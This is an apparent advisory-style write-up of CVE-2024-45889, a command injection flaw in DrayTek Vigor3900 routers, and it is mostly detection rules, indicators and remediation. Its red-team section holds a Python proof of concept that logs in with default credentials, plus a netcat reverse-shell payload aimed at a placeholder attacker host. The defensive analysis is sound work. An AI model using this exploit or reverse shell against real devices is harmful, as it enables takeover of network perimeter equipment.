CVE-2024-45889

Executive Summary

CVE-2024-45889 is a post-authentication command injection vulnerability in DrayTek Vigor3900 firmware version 1.5.1.3. The flaw resides in the cgi-bin/mainfunction.cgi script, specifically when the action parameter is set to commandTable. An authenticated attacker can inject arbitrary operating system commands, leading to full device compromise. No patch is currently available from the vendor, and public proof-of-concept (PoC) code exists. This vulnerability is critical for network perimeter devices, as the Vigor3900 is a multi-WAN router/firewall often deployed at branch offices and SMBs.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded firmware (DrayTek Vigor3900). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (post-auth command injection), a reasonable assessment is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): High (H) – requires authentication
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 7.2 (High)

Threat Level: High. Although authentication is required, default credentials are often unchanged, and the device is exposed to the internet. Command injection allows complete takeover.

Deep Dive & Mechanics

The vulnerability exists in the cgi-bin/mainfunction.cgi CGI script. When the action parameter is set to commandTable, the script processes user-supplied input without proper sanitization. The commandTable action likely handles commands for the device's command-line interface or diagnostic tools. The input is passed directly to a system shell (e.g., system(), popen(), or similar), allowing an attacker to inject arbitrary commands using shell metacharacters such as ;, |, &, or backticks.

Root Cause: Lack of input validation and failure to use safe API functions (e.g., execve with argument arrays) when executing system commands.

Attack Flow:

1. Attacker authenticates to the web interface (e.g., using default admin/admin credentials).
2. Attacker sends a crafted POST request to /cgi-bin/mainfunction.cgi with action=commandTable and a malicious payload in one of the parameters (likely cmd or similar).
3. The device executes the injected command with root privileges.
4. Attacker gains a reverse shell or executes arbitrary commands.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern to a secure implementation.

Vulnerable Code (Conceptual C/C++):

void handle_commandTable(struct request *req) {
    char cmd[1024];
    char *action = get_param(req, "action");
    char *user_input = get_param(req, "cmd");
    
    if (strcmp(action, "commandTable") == 0) {
        snprintf(cmd, sizeof(cmd), "command_table %s", user_input);
        system(cmd);  // Vulnerable: user_input not sanitized
    }
}

Patched Code (Secure Implementation):

void handle_commandTable(struct request *req) {
    char *action = get_param(req, "action");
    char *user_input = get_param(req, "cmd");
    
    if (strcmp(action, "commandTable") == 0) {
        // Validate input: only allow alphanumeric and specific characters
        if (!is_valid_command(user_input)) {
            log_error("Invalid command input");
            return;
        }
        // Use execve with argument array to avoid shell injection
        char *args[] = {"/usr/bin/command_table", user_input, NULL};
        execve(args[0], args, NULL);
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• DrayTek Vigor3900 with firmware 1.5.1.3
• Valid credentials (e.g., admin/admin)
• Network access to the device's web interface

Exploit PoC (Python):

import requests

target = "http://<VICTIM_IP>"
username = "admin"
password = "admin"

# Authenticate
session = requests.Session()
login_data = {"username": username, "password": password}
session.post(f"{target}/cgi-bin/login.cgi", data=login_data)

# Command injection payload
payload = "; id > /tmp/pwned.txt;"
data = {
    "action": "commandTable",
    "cmd": payload
}
response = session.post(f"{target}/cgi-bin/mainfunction.cgi", data=data)
print(f"Exploit sent. Check /tmp/pwned.txt on device.")

Reverse Shell Payload:

# Using netcat
; nc -e /bin/sh <ATTACKER_IP> 4444;

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP POST requests to /cgi-bin/mainfunction.cgi with action=commandTable.
2. Look for shell metacharacters (;, |, &, `, $()) in the cmd parameter.
3. Check for unexpected processes spawned by the web server (e.g., sh, bash, nc).
4. Review system logs for command execution events.

Honeypot Setup:

• Deploy a fake Vigor3900 web interface that logs all POST data.
• Alert on any action=commandTable requests.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/mainfunction.cgi with action=commandTable and suspicious cmd parameter.
• Outbound connections from the device to unusual IPs on ports 4444, 1337, etc. (reverse shells).
• DNS queries to known malicious domains.

Host IOCs:

• Unexpected files in /tmp/ (e.g., pwned.txt, exploit.sh).
• Unusual processes: sh, bash, nc, python, perl running from the web server context.
• Modified system binaries or configuration files.
• New cron jobs or startup scripts.

Log IOCs:

• Web server logs showing action=commandTable with shell metacharacters.
• System logs (e.g., /var/log/messages) showing command execution errors.

Detection Engineering

YARA Rule

rule CVE_2024_45889_CommandInjection {
    meta:
        description = "Detects command injection attempts against DrayTek Vigor3900 CVE-2024-45889"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-45889"
    strings:
        $action = "action=commandTable"
        $shell_chars = /[;&|`$()]/
        $cmd_param = "cmd="
    condition:
        $action and $cmd_param and $shell_chars
}

Sigma Rule

title: DrayTek Vigor3900 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to cgi-bin/mainfunction.cgi with action=commandTable and shell metacharacters
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/mainfunction.cgi'
        cs-uri-query|contains: 'action=commandTable'
        cs-uri-query|contains|all:
            - 'cmd='
            - ';'
    condition: selection
falsepositives:
    - Legitimate use of command table with semicolons (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45889 DrayTek Vigor3900 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/mainfunction.cgi"; http_uri;
    content:"action=commandTable"; http_client_body;
    content:"cmd="; http_client_body;
    pcre:"/(?:[;&|`$()])/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Change default credentials immediately to strong, unique passwords.
2. Restrict web interface access to trusted IPs only (firewall rules).
3. Disable remote management if not required.
4. Monitor for suspicious activity using the provided detection rules.

Long-term Fix:

• Await an official firmware patch from DrayTek.
• If no patch is forthcoming, consider replacing the device with a supported alternative.
• Implement a Web Application Firewall (WAF) to block malicious requests.

Workaround:

• If patching is not possible, disable the commandTable functionality by modifying the CGI script (if you have root access) or by blocking the specific URL pattern at the reverse proxy.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert